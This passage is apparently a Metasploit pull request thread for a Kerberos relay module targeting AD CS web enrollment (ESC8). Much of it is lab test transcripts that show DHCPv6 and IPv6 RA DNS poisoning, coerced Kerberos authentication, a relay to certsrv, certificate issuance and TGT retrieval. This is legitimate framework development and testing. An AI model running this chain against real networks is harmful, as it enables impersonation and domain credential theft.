[+] Answered Router Solicitation from 00:0c:29:1f:71:75 (fe80::b333:c90e:ec8e:1c9b) -> RDNSS fdd6:b808:d74a:dba4::dead:beef
[+] Answered Router Solicitation from 00:0c:29:1f:71:75 (fe80::b333:c90e:ec8e:1c9b) -> RDNSS fdd6:b808:d74a:dba4::dead:beef
[+] Answered Router Solicitation from 00:0c:29:1f:71:75 (fe80::b333:c90e:ec8e:1c9b) -> RDNSS fdd6:b808:d74a:dba4::dead:beef
[+] Answered Router Solicitation from 00:0c:29:e4:20:b1 (fe80::f9fa:d3a7:9985:2172) -> RDNSS fdd6:b808:d74a:dba4::dead:beef
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > [+] Answered Router Solicitation from 00:0c:29:e4:20:b1 (fe80::f9fa:d3a7:9985:2172) -> RDNSS fdd6:b808:d74a:dba4::dead:beef
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) >

And verifying the cert received works correctly:

msf auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:88 - Getting TGT for minion2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /home/msfuser/.msf4/loot/20260819154958_default_172.16.199.200_mit.kerberos.cca_785404.bin
[*] Auxiliary module execution completed
msf auxiliary(admin/kerberos/get_ticket) >

@jenkins-eks-metasploit

Copy link
Copy Markdown

Additional test pipeline started ⌛
Note: build results only accessible to maintainers.

@jenkins-eks-metasploit

Copy link
Copy Markdown

Pipeline results available

Slice summary:

  • Test slice 1 - 🟢
  • Test slice 2 - 🟢
  • Test slice 3 - 🟢
  • Test slice 4 - 🟢

Note: build results only accessible to maintainers.

- DefaultOptions set HTTP::Auth to 'None' (capital N), which never
  matches AuthOption::NONE ('none'). The case statement in
  HttpClient#send_request_raw that maps HTTP::Auth to preferred_auth
  therefore never matched it either, leaving preferred_auth unset
  instead of explicitly 'None'. That happens to be harmless today
  because Rex's send_auth short-circuits before preferred_auth is
  consulted whenever no username/password/kerberos_authenticator is
  configured, which is always true for this module's follow-up
  requests. It stops being harmless the moment that guard changes, so
  fix the value to the real constant, matching the NTLM esc8 module's
  own use of its equivalent constant.
- validate now rejects a HTTP::Auth other than none, mirroring the
  NTLM esc8 module's existing enforcement of its own required value.
  The relayed connection is already authenticated by the AP-REQ, so a
  user overriding HTTP::Auth would otherwise silently break follow-up
  enrollment requests.
- relay_server_spec.rb used a private RFC1918 address (10.0.0.1) for
  example data; AGENTS.md asks for TEST-NET-1 (192.0.2.0/24) in specs.
- Added frozen_string_literal to the six new lib/ files, matching
  AGENTS.md guidance and the convention rapid7#21717 already established on
  master. None of the files mutate a string literal in place.

Added spec coverage for the DefaultOptions/validate pairing and the
HTTP::Auth rejection.
The relay inherited SRVHOST 0.0.0.0, the IPv4 wildcard, but the documented
coercion is an IPv6 DNS takeover that steers the victim to the attacker over
IPv6. A 0.0.0.0 listener is IPv4-only and silently never receives that
connection, so the coerce-to-relay chain fails whenever the coerced name
carries an AAAA record.

Default SRVHOST to :: so the relay listens dual-stack. On Linux and macOS ::
also accepts IPv4, so A-record (IPv4) coercion keeps working; a Windows relay
host binds :: IPv6-only, documented in the module notes with the workaround.

Also fix the module doc transcript, which showed the same contradiction on
paper (0.0.0.0 listener with an IPv6 takeover and an IPv4 inbound).
@Pushpenderrathore

Copy link
Copy Markdown
Contributor Author

The DNS forward/cache fixes that surfaced while getting this relay workflow running end to end are up as a focused core PR: #21853 (shallow Dnsruby::Message#dup question sharing, the answer-encoding "Bad DNS packet" bug, and the cache crash on non-cacheable records). That is the piece that unblocks the coercion -> relay -> DNS path, with regression specs.

@jheysel-r7 jheysel-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @Pushpenderrathore, thanks for the modules, library changes and specs. I w as able to test these successfully, however the successful tests for me depended on a suggestion I made over on the corresponding coercion PR. I might have more suggestions on this side but posting the testing results for now.

Testing

Testing ESC8 Kerberos with DHCPv6 DNS Takeover

Setup both modules

msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > run
[*] Auxiliary module running as background job 0.

[*] DNS server started, poisoning names under kerberos.issue -> CNAME devbox.kerberos.issue
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > [*] DHCPv6 server started, advertising dead:beef::5 as the DNS server

msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > options
Module options (auxiliary/spoof/dhcp/dhcpv6_dns_takeover):

   Name              Current Setting           Required  Description
   ----              ---------------           --------  -----------
   DHCPV6_INTERFACE  ens33                     no        Network interface to bind the DHCPv6 server and join the multicast group on.
   DISABLE_NS_CACHE  false                     no        Disable DNS response caching
   DISABLE_RESOLVER  false                     no        Disable DNS request forwarding
   DOMAIN                                      no        The target domain name
   LEASE_IP6         dead:beef::100            no        IPv6 address to lease to clients making stateful (IA_NA) requests.
   NS                172.16.199.200            no        Specify the nameservers to use for queries, space separated
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
   RELAY_CNAME       devbox.kerberos.issue     no        If set, poisoned names are answered with a CNAME to this name plus its terminal attacker address (the DNS-CNAME Kerberos relay tri
                                                         ck).
   RPORT             53                        yes       The target port (TCP)
   SEARCHLIST                                  no        DNS domain search list, comma separated
   SPOOF_IP6         dead:beef::5              yes       The attacker IPv6 address handed out as the DNS server and returned for poisoned names.
   SRVHOST           ::                        yes       The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send.
   SRVPORT           53                        yes       The local port to listen on.
   SRVSSL            false                     no        Negotiate SSL/TLS for local server connections
   STATIC_ENTRIES                              no        DNS domain search list (hosts file or space/semicolon separate entries)
   TARGET_DOMAIN     kerberos.issue            yes       The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).
   TARGET_HOSTS      relaytest.kerberos.issue  no        Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.
   THREADS           10                        yes       Number of threads to use in threaded queries


Auxiliary action:

   Name     Description
   ----     -----------
   Service  Run the DHCPv6 and DNS takeover services



View the full module info with the info, or info -d command.

msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > use esc8_kerberos

Matching Modules
================

   #  Full Name                             Disclosure Date  Rank    Check  Name
   -  ---------                             ---------------  ----    -----  ----
   0  auxiliary/server/relay/esc8_kerberos  .                normal  Yes    ESC8 Relay: SMB to HTTP(S) via Kerberos


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/relay/esc8_kerberos

[*] Using auxiliary/server/relay/esc8_kerberos
msf auxiliary(server/relay/esc8_kerberos) > 


msf auxiliary(server/relay/esc8_kerberos) > options

Module options (auxiliary/server/relay/esc8_kerberos):

   Name                 Current Setting    Required  Description
   ----                 ---------------    --------  -----------
   ADD_CERT_APP_POLICY                     no        Add certificate application policy OIDs
   ALT_DNS                                 no        Alternative certificate DNS
   ALT_SID                                 no        Alternative object SID
   ALT_UPN                                 no        Alternative certificate UPN (format: USER@DOMAIN)
   MODE                 SPECIFIC_TEMPLATE  yes       The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE)
   ON_BEHALF_OF                            no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                                     no        Certificate to request on behalf of
   Proxies                                 no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
   RELAY_IDENTITY       KERBEROS\user1     yes       The coerced principal being relayed, as DOMAIN\HOST$ or HOST$@realm (e.g. AD\WIN-VICTIM$ or WIN-VICTIM$@ad.example.com). The Kerberos
                                                     AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.
   RELAY_TIMEOUT        25                 yes       Seconds that the relay socket will wait for a response after the client has initiated communication.
   RHOSTS               172.16.199.200     yes       Target address range or CIDR identifier to relay to
   RPORT                80                 yes       The target port (TCP)
   SMBDomain            KERBEROS           yes       The domain name used during SMB exchange.
   SRVHOST              ::                 yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT              445                yes       The local port to listen on.
   SRVSSL               false              no        Negotiate SSL/TLS for local server connections
   SRV_TIMEOUT          25                 yes       Seconds that the server socket will wait for a response after the client has initiated communication.
   SSL                  false              no        Negotiate SSL/TLS for outgoing connections
   TARGETURI            /certsrv/          yes       The URI for the cert server.
   VHOST                                   no        HTTP server virtual host


   When MODE is SPECIFIC_TEMPLATE:

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CERT_TEMPLATE  User             no        The template to issue if MODE is SPECIFIC_TEMPLATE.


Auxiliary action:

   Name   Description
   ----   -----------
   Relay  Run SMB ESC8 Kerberos relay server



View the full module info with the info, or info -d command.

msf auxiliary(server/relay/esc8_kerberos) > run
[*] Auxiliary module running as background job 1.
msf auxiliary(server/relay/esc8_kerberos) >
[*] SMB Kerberos relay server is running. Listening on [::]:445
[*] Server started.

Ensure Windows can resolve the DNS server you just started

PS C:\Windows\system32>   ipconfig /flushdns
>>   Resolve-DnsName relaytest.kerberos.issue -Type AAAA -Server dead:beef::5

Windows IP Configuration

Successfully flushed the DNS Resolver Cache.

Name                           Type   TTL   Section    NameHost
----                           ----   ---   -------    --------
relaytest.kerberos.issue       CNAME  0     Answer     devbox.kerberos.issue

Name       : devbox.kerberos.issue
QueryType  : AAAA
TTL        : 0
Section    : Answer
IP6Address : dead:beef::5

Then coerce authentication with an SPN that exists on the DC:

:\Users\user1>  klist purge

Current LogonId is 0:0x160654b2
        Deleting all tickets:
        Ticket(s) purged!

C:\Users\user1>  klist get CIFS/relaytest.kerberos.issue

Current LogonId is 0:0x160654b2
A ticket to CIFS/relaytest.kerberos.issue has been retrieved successfully.

Cached Tickets: (2)

#0>     Client: user1 @ KERBEROS.ISSUE
        Server: krbtgt/KERBEROS.ISSUE @ KERBEROS.ISSUE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 9/1/2026 21:45:20 (local)
        End Time:   9/2/2026 7:45:20 (local)
        Renew Time: 9/8/2026 21:45:20 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: dc2.kerberos.issue

#1>     Client: user1 @ KERBEROS.ISSUE
        Server: CIFS/relaytest.kerberos.issue @ KERBEROS.ISSUE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 9/1/2026 21:45:20 (local)
        End Time:   9/2/2026 7:45:20 (local)
        Renew Time: 9/8/2026 21:45:20 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: dc2.kerberos.issue

C:\Users\user1>  net use \\relaytest.kerberos.issue\ipc$
System error 67 has occurred.

The network name cannot be found.


C:\Users\user1>

Profit

msf auxiliary(server/relay/esc8_kerberos) > run
[*] Auxiliary module running as background job 1.
msf auxiliary(server/relay/esc8_kerberos) >
[*] SMB Kerberos relay server is running. Listening on [::]:445
[*] Server started.
[+] Poisoned relaytest.kerberos.issue (AAAA) for [dead:beef::100]:60920 -> CNAME devbox.kerberos.issue
[*] DHCPv6 REBIND from fe80::1fe9:210d:67ab:1376%ens33, answered with DNS dead:beef::5
[+] Poisoned relaytest.kerberos.issue (A) for [dead:beef::100]:53260 -> CNAME devbox.kerberos.issue
[+] Poisoned relaytest.kerberos.issue (AAAA) for [dead:beef::100]:51337 -> CNAME devbox.kerberos.issue
[*] New request from dead:beef::100
[*] Relaying Kerberos AP-REQ to http://172.16.199.200:80/certsrv/
[+] Successfully relayed Kerberos AP-REQ to http://172.16.199.200:80/certsrv/
[+] Certificate generated using template User for KERBEROS\user1
[*] Certificate Policies:
[*]   * msEFS
[*]   * emailProtection
[*]   * clientAuth
[*] Certificate UPN: user1@kerberos.issue
[*] Certificate stored at: /home/msfuser/.msf4/loot/20260901214522_default_172.16.199.200_windows.ad.cs_805968.pfx
[+] Poisoned relaytest.kerberos.issue (A) for [dead:beef::100]:57477 -> CNAME devbox.kerberos.issue
[+] Poisoned relaytest.kerberos.issue (AAAA) for [dead:beef::100]:50711 -> CNAME devbox.kerberos.issue
msf auxiliary(server/relay/esc8_kerberos) > use admin/kerberos/get_ticket
[*] Setting default action GET_TGT - view all 3 actions with the show actions command
msf auxiliary(admin/kerberos/get_ticket) > set cert_file /home/msfuser/.msf4/loot/20260901214522_default_172.16.199.200_windows.ad.cs_805968.pfx
cert_file => /home/msfuser/.msf4/loot/20260901214522_default_172.16.199.200_windows.ad.cs_805968.pfx
msf auxiliary(admin/kerberos/get_ticket) > set domain kerberos.issue
domain => kerberos.issue
msf auxiliary(admin/kerberos/get_ticket) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf auxiliary(admin/kerberos/get_ticket) > set username user1
username => user1
msf auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:88 - Getting TGT for user1@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /home/msfuser/.msf4/loot/20260901214745_default_172.16.199.200_mit.kerberos.cca_939954.bin
[*] Auxiliary module execution completed
msf auxiliary(admin/kerberos/get_ticket) >

Testing ES8 Kerberos with IPv6 RA DNS Takeover

Setup both modules:

msf auxiliary(server/relay/esc8_kerberos) > options

Module options (auxiliary/server/relay/esc8_kerberos):

   Name                 Current Setting    Required  Description
   ----                 ---------------    --------  -----------
   ADD_CERT_APP_POLICY                     no        Add certificate application policy OIDs
   ALT_DNS                                 no        Alternative certificate DNS
   ALT_SID                                 no        Alternative object SID
   ALT_UPN                                 no        Alternative certificate UPN (format: USER@DOMAIN)
   MODE                 SPECIFIC_TEMPLATE  yes       The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE)
   ON_BEHALF_OF                            no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                                     no        Certificate to request on behalf of
   Proxies                                 no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
   RELAY_IDENTITY       KERBEROS\user1     yes       The coerced principal being relayed, as DOMAIN\HOST$ or HOST$@realm (e.g. AD\WIN-VICTIM$ or WIN-VICTIM$@ad.example.com). The Kerberos
                                                     AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.
   RELAY_TIMEOUT        25                 yes       Seconds that the relay socket will wait for a response after the client has initiated communication.
   RHOSTS               172.16.199.200     yes       Target address range or CIDR identifier to relay to
   RPORT                80                 yes       The target port (TCP)
   SMBDomain            KERBEROS           yes       The domain name used during SMB exchange.
   SRVHOST              ::                 yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT              445                yes       The local port to listen on.
   SRVSSL               false              no        Negotiate SSL/TLS for local server connections
   SRV_TIMEOUT          25                 yes       Seconds that the server socket will wait for a response after the client has initiated communication.
   SSL                  false              no        Negotiate SSL/TLS for outgoing connections
   TARGETURI            /certsrv/          yes       The URI for the cert server.
   VHOST                                   no        HTTP server virtual host


   When MODE is SPECIFIC_TEMPLATE:

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CERT_TEMPLATE  User             no        The template to issue if MODE is SPECIFIC_TEMPLATE.


Auxiliary action:

   Name   Description
   ----   -----------
   Relay  Run SMB ESC8 Kerberos relay server



View the full module info with the info, or info -d command.

msf auxiliary(server/relay/esc8_kerberos) > run
[*] Auxiliary module running as background job 6.

[*] SMB Kerberos relay server is running. Listening on [::]:445
[*] Server started.
msf auxiliary(server/relay/esc8_kerberos) >

msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > options

Module options (auxiliary/spoof/ipv6/ipv6_ra_dns_takeover):

   Name                     Current Setting           Required  Description
   ----                     ---------------           --------  -----------
   ADVERTISE_SEARCH_DOMAIN  true                      yes       Advertise TARGET_DOMAIN as a DNS search list (DNSSL) to steer short-name resolution.
   BECOME_ROUTER            false                     yes       Also advertise as the default router (router lifetime > 0). Off by default for a DNS-only takeover.
   DISABLE_NS_CACHE         false                     no        Disable DNS response caching
   DISABLE_RESOLVER         false                     no        Disable DNS request forwarding
   DOMAIN                                             no        The target domain name
   FILTER                                             no        The filter string for capturing traffic
   INTERFACE                ens33                     no        The name of the interface
   NS                       172.16.199.200            no        Specify the nameservers to use for queries, space separated
   PCAPFILE                                           no        The name of the PCAP capture file to process
   Proxies                                            no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
   RA_INTERVAL              5                         yes       Seconds between unsolicited Router Advertisements.
   RELAY_CNAME              devbox.kerberos.issue     no        If set, poisoned names are answered with a CNAME to this name plus its terminal attacker address (the DNS-CNAME Kerberos re
                                                                lay trick).
   RESPOND_TO_SOLICITS      true                      yes       Also reply to Router Solicitations with an immediate unicast RA.
   RPORT                    53                        yes       The target port (TCP)
   SEARCHLIST                                         no        DNS domain search list, comma separated
   SHOST                                              no        The source IPv6 address
   SMAC                                               no        The source MAC address
   SNAPLEN                  65535                     yes       The number of bytes to capture
   SPOOF_IP6                dead:beef::5              yes       The attacker IPv6 address handed out as the DNS server and returned for poisoned names.
   SRVHOST                  ::                        yes       The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to s
                                                                end.
   SRVPORT                  53                        yes       The local port to listen on.
   SRVSSL                   false                     no        Negotiate SSL/TLS for local server connections
   STATIC_ENTRIES                                     no        DNS domain search list (hosts file or space/semicolon separate entries)
   TARGET_DOMAIN            kerberos.issue            yes       The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).
   TARGET_HOSTS             relaytest.kerberos.issue  no        Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.
   THREADS                  10                        yes       Number of threads to use in threaded queries
   TIMEOUT                  5                         yes       Timeout when waiting for host response.


Auxiliary action:

   Name     Description
   ----     -----------
   Service  Run the RA/RDNSS and DNS takeover services



View the full module info with the info, or info -d command.
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run
[*] Auxiliary module running as background job 7.

Coerce authentication:

C:\Users\user1>  klist purge

Current LogonId is 0:0x160654b2
        Deleting all tickets:
        Ticket(s) purged!

C:\Users\user1>  klist get CIFS/relaytest.kerberos.issue

Current LogonId is 0:0x160654b2
A ticket to CIFS/relaytest.kerberos.issue has been retrieved successfully.

Cached Tickets: (2)

#0>     Client: user1 @ KERBEROS.ISSUE
        Server: krbtgt/KERBEROS.ISSUE @ KERBEROS.ISSUE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 9/1/2026 22:07:02 (local)
        End Time:   9/2/2026 8:07:02 (local)
        Renew Time: 9/8/2026 22:07:02 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: dc2.kerberos.issue

#1>     Client: user1 @ KERBEROS.ISSUE
        Server: CIFS/relaytest.kerberos.issue @ KERBEROS.ISSUE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 9/1/2026 22:07:02 (local)
        End Time:   9/2/2026 8:07:02 (local)
        Renew Time: 9/8/2026 22:07:02 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: dc2.kerberos.issue

C:\Users\user1>  net use \\relaytest.kerberos.issue\ipc$ /delete
The network connection could not be found.

More help is available by typing NET HELPMSG 2250.


C:\Users\user1>  net use \\relaytest.kerberos.issue\ipc$
System error 67 has occurred.

The network name cannot be found.


C:\Users\user1>

Profit

msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run
[*] Auxiliary module running as background job 7.

[*] DNS server started, poisoning names under kerberos.issue -> CNAME devbox.kerberos.issue
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > [*] Advertising dead:beef::5 as the IPv6 DNS server via Router Advertisements every 5s
[*] Responding to Router Solicitations with an immediate unicast RA

msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) >
[+] Poisoned relaytest.kerberos.issue (A) for [dead:beef::100]:62512 -> CNAME devbox.kerberos.issue
/home/msfuser/rapid7/metasploit-framework/lib/rex/proto/dns/server.rb:36: warning: Socket#sendto is deprecated; use send(mesg, flags, host, port) instead
[+] Poisoned relaytest.kerberos.issue (AAAA) for [dead:beef::100]:52267 -> CNAME devbox.kerberos.issue
/home/msfuser/rapid7/metasploit-framework/lib/rex/proto/dns/server.rb:36: warning: Socket#sendto is deprecated; use send(mesg, flags, host, port) instead
[*] New request from dead:beef::100
[*] Relaying Kerberos AP-REQ to http://172.16.199.200:80/certsrv/
[+] Successfully relayed Kerberos AP-REQ to http://172.16.199.200:80/certsrv/
/home/msfuser/rapid7/metasploit-framework/lib/rex/proto/dns/server.rb:36: warning: Socket#sendto is deprecated; use send(mesg, flags, host, port) instead
/home/msfuser/rapid7/metasploit-framework/lib/rex/proto/dns/server.rb:36: warning: Socket#sendto is deprecated; use send(mesg, flags, host, port) instead
[+] Certificate generated using template User for KERBEROS\user1
[*] Certificate Policies:
[*]   * msEFS
[*]   * emailProtection
[*]   * clientAuth
[*] Certificate UPN: user1@kerberos.issue
[*] Certificate stored at: /root/.msf4/loot/20260901220704_default_172.16.199.200_windows.ad.cs_009674.pfx
[+] Poisoned relaytest.kerberos.issue (A) for [dead:beef::100]:62100 -> CNAME devbox.kerberos.issue
/home/msfuser/rapid7/metasploit-framework/lib/rex/proto/dns/server.rb:36: warning: Socket#sendto is deprecated; use send(mesg, flags, host, port) instead
[+] Poisoned relaytest.kerberos.issue (AAAA) for [dead:beef::100]:55402 -> CNAME devbox.kerberos.issue
/home/msfuser/rapid7/metasploit-framework/lib/rex/proto/dns/server.rb:36: warning: Socket#sendto is deprecated; use send(mesg, flags, host, port) instead

msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > use admin/kerberos/get_ticket
[*] Setting default action GET_TGT - view all 3 actions with the show actions command
msf auxiliary(admin/kerberos/get_ticket) > set cert_file /root/.msf4/loot/20260901220704_default_172.16.199.200_windows.ad.cs_009674.pfx
cert_file => /root/.msf4/loot/20260901220704_default_172.16.199.200_windows.ad.cs_009674.pfx
msf auxiliary(admin/kerberos/get_ticket) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf auxiliary(admin/kerberos/get_ticket) > set username user1
username => user1
msf auxiliary(admin/kerberos/get_ticket) > set domain kerberos.issue
domain => kerberos.issue
msf auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:88 - Getting TGT for user1@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /root/.msf4/loot/20260901220848_default_172.16.199.200_mit.kerberos.cca_660295.bin
[*] Auxiliary module execution completed
msf auxiliary(admin/kerberos/get_ticket) >

Comment thread lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb Outdated
Comment thread documentation/modules/auxiliary/server/relay/esc8_kerberos.md
Spell out what has to run on the victim to complete the native IPv6 DNS
takeover scenario: confirming the host adopted the attacker as its IPv6
DNS server (netsh, adapter refresh, a Resolve-DnsName check that now
returns the CNAME alias with its terminal address), then coercing the
Kerberos SMB authentication with klist purge / klist get for the coerced
SPN and a net use touch, including why the System error 67 tree connect
failure is expected. Refresh the RELAY_CNAME help in the coercion
options transcript to match its updated description.
log_error wrote every message to both the framework log (elog) and the
operator console (@logger.print_error), so a single failed relay surfaced
the same line twice. Prefer the console when a logger is attached (the
create path always attaches one) and fall back to elog only when there is
no logger, so a loggerless client still records the error somewhere.
Register RHOSTS as OptAddressRange rather than OptRhosts. The relay
server mixin already uses OptAddressRange, and TargetList feeds the
value straight into Rex::Socket::RangeWalker, which parses address
ranges and CIDR but not the http:// or host:port forms OptRhosts would
otherwise accept. This keeps a URI-style value from validating at option
time and then failing when the relay actually runs. The SMBHOST and
RELAY_TARGETS aliases are preserved.
@jheysel-r7 jheysel-r7 moved this from Todo to In Progress in Metasploit Kanban Sep 8, 2026
@jheysel-r7 jheysel-r7 moved this from In Progress to What about Second Review? in Metasploit Kanban Sep 8, 2026
@jheysel-r7 jheysel-r7 added GSoC Google Summer of Code project PRs module rn-modules release notes for new or majorly enhanced modules docs labels Sep 8, 2026
Comment thread lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb Outdated
@github-project-automation github-project-automation Bot moved this from What about Second Review? to In Progress in Metasploit Kanban Sep 9, 2026
The session id assigned when a client sends session_id 0 is a
server-side handle used only to correlate follow-up requests to a live
session, so it does not need to be unpredictable, but there is no cost
to sourcing it from a CSPRNG. Switch rand(1..0xfffffffe) to
SecureRandom.random_number(0xfffffffe) + 1, which keeps the same
1..0xfffffffe range and never returns 0.
@jheysel-r7

Copy link
Copy Markdown
Contributor

Release Notes

This introduces native Kerberos authentication relay capabilities to the framework's relay stack. It includes a new auxiliary module (esc8_kerberos) that exploits CVE-2026-20929 by targeting AD CS Web Enrollment (ESC8). The module captures an SMB2 AP-REQ from a coerced client and seamlessly replays the authentication to the target certificate server over HTTP. This chain ultimately allows an attacker to issue a certificate for the coerced victim and obtain a valid Kerberos TGT without requiring their credentials.

@jheysel-r7
jheysel-r7 merged commit e0324b3 into rapid7:master Sep 9, 2026
67 of 73 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Sep 9, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

additional-testing-required docs GSoC Google Summer of Code project PRs module rn-modules release notes for new or majorly enhanced modules

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

4 participants